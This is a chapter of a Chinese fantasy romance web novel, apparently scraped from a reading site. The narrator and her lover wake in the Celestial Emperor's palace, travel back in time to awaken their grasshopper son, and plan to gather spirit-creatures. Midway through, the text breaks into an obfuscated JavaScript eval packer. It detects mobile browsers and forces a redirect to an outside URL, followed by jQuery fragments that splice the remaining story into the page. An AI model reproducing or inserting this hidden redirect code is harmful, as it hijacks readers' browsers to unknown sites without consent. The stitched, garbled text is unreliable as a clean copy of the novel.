81. 早安 天帝陛下
作品:《众生有疾 天帝晚期》 紫极宫寝殿的清晨,那可是天光毫不外泄,斜斜齐射而来。
天光透过玉窗落在地上,光洁地面将那光束大军,推到星痕浅影的穹顶,点亮一场四方云动。
再将光如雨般挥洒,落在寝殿床榻上,照透幔帐,吻上我的双眼,皮。
哎,我叹了一口气,天帝不好当。
就连光都早早晃瞎寝殿里的神明,催促他早早起床。
谢烬洄说他定力大成,坐怀不乱,所以非常自信地拉着我共枕眠。
这一夜睡得分外香甜,什么都不用提防。
数日的疲惫,忧思,疑虑,困扰,甚至与今日无关的未来,全都抛却在谢烬洄的怀抱之外。
要是有谁问我地老天荒是什么,我说不是瞬间,不是永恒,是枕在谢烬洄臂弯上,看着我成为他,他成为我,进而融入天地的每一刻。
师父说,如果一个生灵做到自我圆满,那么,给予出的爱便能够穿越心灵,种族,物种,时空,同时成了滋养万物,和万物滋养的存在。
我尚不知何为终极圆满,但与谢烬洄共寝的这一夜后,我好像觉得,回归于他,或是他奔向我的每一步,就是走向圆满的征途。
轻轻摇了摇他的胳膊,我知道他醒了,但是不知何故,脸上有置气的痕迹,还在延续。
“鸢姀,”谢烬洄微微睁开眼,气恼道,“你这一宿,偷看多少次溯澪,你……”
我眨眨眼,想哈哈他,但憋住了。
他这醋吃的九曲回肠,就算我想移情别恋溯澪,也一点儿碰不着啊。
“谢烬洄,溯澪的样貌只比你原来,精致那么一点儿。
我是偷看了,可我偷看的是我最最最心爱的小微尘啊!”
谢烬洄听得美滋滋,但我建议他说:“要不,你想想法子,恢复从前。”
他闷闷一笑,一派坦然。
“溯澪的皮相就是炉子,我脱不下,也不能脱下。”说着,他抚过我滑落鼻尖的碎发,端详着我。
“其实鸢姀这次回来,也和以前略有不同,变美了。”
我浅浅微笑,扯住他的脸。
心想:还得感谢那只喷我一脸「漂亮水」的猿猴嘞!
“那我们就一起红杏出墙呗。”我说,“你看,咱们新欢旧爱融于一身,多好呀!”
“不许花心!”他的长枝将我揽入怀里,紧紧环绕。
“只有我们。”他说。
只有我们吗?
我对溯澪舍下的情根啊,七欲啊,神识啊,还有和彼此的关系,很是困惑。
“谢烬洄,我明明是圣晟天帝舍下的情根,为什么他认不出我,反而是你对我有感应。
呵呵,还这么喜欢我。”
“因为呀……”谢烬洄拉长声音,沉吟道:“圣晟天帝是决意割舍你,并且彻底忘记了你。
而我。”他自嘲一笑,“我的任务不就是,召唤你,吸引你,然后烧了你。”
我在他的胸膛里挤了挤,顽劣地说:“嗯,是挺暖和的吼!
但是谢烬洄,圣晟天帝待我很特别,我觉得他并非完全不记得我。”
“是啊。”他说,“圣晟天帝很可能对你产生了父女之情,毕竟,你是他「亲生」的情根。”
听他这么说,我思路大开,立即问道:“那七欲对我是什么感情?”
我感到谢烬洄覆在我背上的手微微用力。
“还有,溯澪帝君呢,他要是见了我,会对我有哪种感情?”
谢烬洄的身子,带着我收缩,他是想把我揉进身体里吗?
他像一片天空,将我压得很低,像是要挤走我和他之间所有的生物,空气,空间。
我幡然醒悟,他为什么吃醋了,原来他的假想「情敌」这么多,还都是他自己,或者类似自己。
“鸢姀,你对溯澪有什么企图,说!”
我抽出食指,点上他满脸调笑的眉心,像是给妖物封印。
“谢烬洄,我总算想明白你脑子里现在是什么情况啦!”
谢烬洄一脸茫然,愣愣向我求教。
“以前你是微尘,现在你是水滴,你呀,这是脑子里和泥转不动喽!
嘿嘿嘿!”
谢烬洄轻巧翻身,带着我滚了一滚
他反击道:“小石头,来来,看我翻浆倒海,滚你一身泥。”
屏风隔断宿醉的灯火,它们忘了阑珊,此刻羞涩熄火。
荒淫无度?那太奢侈,我和谢烬洄依然是早出晚归的仙界敢死队。
一起赴死的大业未成,前行的脚步是一刻不停。
谢烬洄带我去了下界一处老地方,他说这一步要是成功了,挖出七欲全部藏身所在,那就如探囊取物般容易。
他说了大话,因为他后来还求了别人,但当时,他的想法令我粉碎了他泥浆脑袋的设想。
我们去了曾经被囚禁的山洞,亲手取出透明罩子里烧焦的一对儿拥抱(咬脖子)蚂蚱。
粉碎了它们的形骸,汇聚这些粉尘进入我们的仙身之内。
我拾起一根焦黑的蚂蚱腿,略带纳闷地问:“这么做,震能行?”
谢烬洄拉起我的手,借助蝶梦铃,再次通过山洞里残留的记忆,回到了过去。
“在当下时空做这件事不行,恐怕惊醒七欲,令他玉石俱焚,戕害世人。
但回到过去就没问题,我们有蚂蚱儿子。”
我跟着他的仙力长链在时间里回流,瞧他游刃有余的模样,我不禁问道:“谢烬洄,你果真不会开启圣晟天帝的时间海?”
他回眸,摇了摇头。
“溯澪尚且不知道,我,真的不会。”
真是奇怪,他对时间的驾驭力,还有弯折力,甚至是篡改手段,让我拍案叫绝,大呼不可思议。
可他却穿越不了三十二万年的时间间隔。
谢烬洄能想到再次利用蚂蚱儿子的「亲情血脉」宿命锁链我不意外。
但他要用我们之前的蚂蚱身体,以父母的生身牵绊,唤醒蚂蚱儿子。
再凭借血脉相连,情感天性,将它召唤出来,从而脱离七欲之灵的控制。
这种办法,让我心中的伦理,善恶高塔,顷刻坍塌。
我化身成蚂蚱妈妈,淌入过去的时间流,于空中望向深渊底下,沉睡的冰皮小蚂蚱。
“宝宝……”我心里发紧,轻轻唤了一声。
既怕它醒,更怕它不醒,谢烬洄的计划落空。
蚂蚱儿子周身一层锯齿状柔和的细光,像温暖的地平线隔绝了深渊的寒。
它的纤纤玉足动了动,触须抖了抖。
谢烬洄在我身边,也分外动情地喊了声:“宝宝,醒醒……”
蚂蚱儿子的豆眼儿滚了滚,覆在双眼那层蒙昧的薄膜褪去了。
它翻身跳起,浑身都被喜悦包围。
果然是灵物,是我和谢蚂蚱的孩子,即便它是小小昆虫,竟已开了灵识。
它向我们蹦飞而来,挣开束缚的灵线。
一边奋力飞高,一边奶声奶气激动高喊:“娘亲,爹爹!”
我的蚂蚱眼里噙着泪水,眼看小儿子离我们越飞越近,我用近乎挖苦的语气嘲讽谢蚂蚱。
“谁说蚂蚱飞不上仙界,我看咱儿子就行!”
本来,只要蚂蚱儿子能被唤醒,能摆脱七欲的灵线控制,以个体意识奔向我们,眼前的这一场与父母相认的过去戏码就该结束了。
但谢烬洄没有抽离时间,我也不想离开。
蚂蚱儿子蹦跳上我们的云头,在我们身边打滚欢呼,笑闹腾跃,好不快活。
我和谢烬洄没养过儿子,没当过父母,更不知道怎么哄蚂蚱。
但我们一拍即合,把这孩子领到了当年那麦穗鼓鼓,丰收在望的人间麦田。
看着蚂蚱儿子秋风里得意,踏得麦穗儿蹄子疾,愿它此生看遍它的繁华。
吃够那一片片,一粒粒,可口的白花花。
蚂蚱儿子纵横驰骋,麦田里他是王子。
我和谢蚂蚱有时陪它飞,有时跟它一起当害虫,在麦穗上撅着屁股啃。
人生也好,昆虫也罢,在短暂的幻境里,到底是我们成全了儿子,还是儿子抚平了我们心中的愧疚?
我不知道,眼见蚂蚱儿子遇到它心爱的蚂蚱,我和谢蚂蚱很快成了爷爷奶奶。
爷爷奶奶不会老,但纷纷扬扬的雪花来了。
那场早来的雪下了一整夜,黎明撞不破黑夜。
于是,麦田里的子子孙孙没看清雪,还不懂冰,就在潦潦冰草里,一层厚雪,盖住了魂魄。
我们儿子孙子,全部寿终正寝,哦,是恰逢天时,死了。
陪蚂蚱儿子走过一生,对我和谢烬洄而言,还不足重新牵手的瞬间。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566659|187004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>随谢烬洄走出蝶梦铃,我的指尖冰凉,仙界十四弦的天空,清透霭蓝。
想到接下来,既要到天下分野殿核对每一个灵物的位置,又要从苍茫天地间搜寻每一个灵物的父母。
这条炉子和柴火们的灭亡之路,走起来很是艰难。
我问谢烬洄,灵物的父母有的或许还活着,有的一定死了,甚至还有的不死不活,不一定呈现什么态。
能找到几对就不错了,还要找全,鸢姀神女感觉做不到啊!
谢烬洄一根一根,解开我攥紧的拳头。
“它们都还在天地之中来回轮转游荡。
万物起于微尘,即便形骸灭了,意识散了,它们的记忆,发生,留恋,都在各处回响。
有的沉默成了山川草木,有的再次转生到生灵体内。
即便换了形式,总是存在。”
“你是说,哪怕他们已经轮回转生,也要找出,抽离,然后……”
我焦急问他。
谢烬洄笑了笑。
“他们转生不了,他们本身各种生灵,物灵中最为菁纯的两个个体。
七欲为了制造出可用的灵物,已将灵物父母的灵性吸取殆尽。
它们活着便浑浑噩噩,死了就会散作尘埃,无知游荡。”
他揽了揽我的肩膀,说:“我们是意外,也是生机。
也许,是七欲也料想不到的天意。”
是呀,七欲咋就抓了我和谢烬洄,阴差阳错变的蚂蚱,给自己留下了灯下黑一般的漏洞。
我坐在寝殿里,看太阳如何爬过熟睡的蓝色天幕,撒下汗涔涔的光影。
“谢烬洄,聚集了它们,召唤出它们的孩子……
之后呢,之后,它们就一定要……”
我抬头迎向逆光的谢烬洄,原来神有时候看起来,也会像个阴影。
“鸢姀,它们大概率会和我们一同燃烧。
姑且叫做,强行唆使它们,为苍生——牺牲。”
“它们会愿意吗?”我发出的声音很虚弱,近乎呻吟。
谢烬洄摩挲我的发顶,揽过我的头。
“不知道啊。”他说:“但会团圆。”
我的心情不佳,但情绪,认知,感慨,对灵物的悲悯,对公平的琢磨,都像是一团光辉纯善的迷雾,障碍着我们当行的,理应抛却杂念的路。
伸手拍了拍谢烬洄腰背,催促他说:“谢烬洄,我休息够了,我们去搜集灵物吧。”
谢烬洄却说,让我留在寝殿等他,搜集灵物的事儿,他做不到,但有位世外神君可以。
世外神君?
谢烬洄说逸风渠是万物的灵主。
若是他肯帮忙,别说短短几十万年的灵物,就算创世之初到现在,所有灵物的来龙去脉,这位帝君都能摸得清。
谢烬洄要去宥情桃居!
多神秘,多让群仙向往的地方,我也想去。
谢烬洄却眉头一皱,嘟闹着说:“不行,鸢姀就在这儿等我!”
他的语气不容反驳啊,难道宥情桃居吃神女不成。
谢烬洄冷哼一声:“我觉得他不安全!”
“怎么不安全?”我追问。
谢烬洄盯着我,一字一顿。
“本能觉得不安全!”
啊!我好像懂了,溯澪帝君的真身净水,是酸味的吧!
知道他要干正事,我还是紧紧拉住他的胳膊,恳求道:“谢烬洄,你不带我去宥情桃居,总该领我去看看你的老巢——无界天外,你回来,带我去,行不行,行不行!”
谢烬洄的为难神色,从内而外感染了我。
“鸢姀,我不记得回家的路,你有钥匙吗?”
什么嘛,还说自己是溯澪帝君神识,连怎么回无界天外都不知道,半吊子,半吊子!
“谢烬洄,就你这样,逸风渠帝君,他会帮你?”
“当然,”谢烬洄一副桀骜嘴脸,“因为我是溯澪!”他大言不惭。
他迈出寝殿门,我伏在榻子上蹬腿。
就这么把我扔下了,真的是……
我冲着大门朝他的背影挖苦着表达不满。
“我去找七欲拿钥匙!”
谢烬洄折返回来,扶着门框龇牙道:“你敢!”
呵,我托起手掌:掌心梅啊掌心梅,你何时成仙,你一定要好好治一治谢烬洄的酸。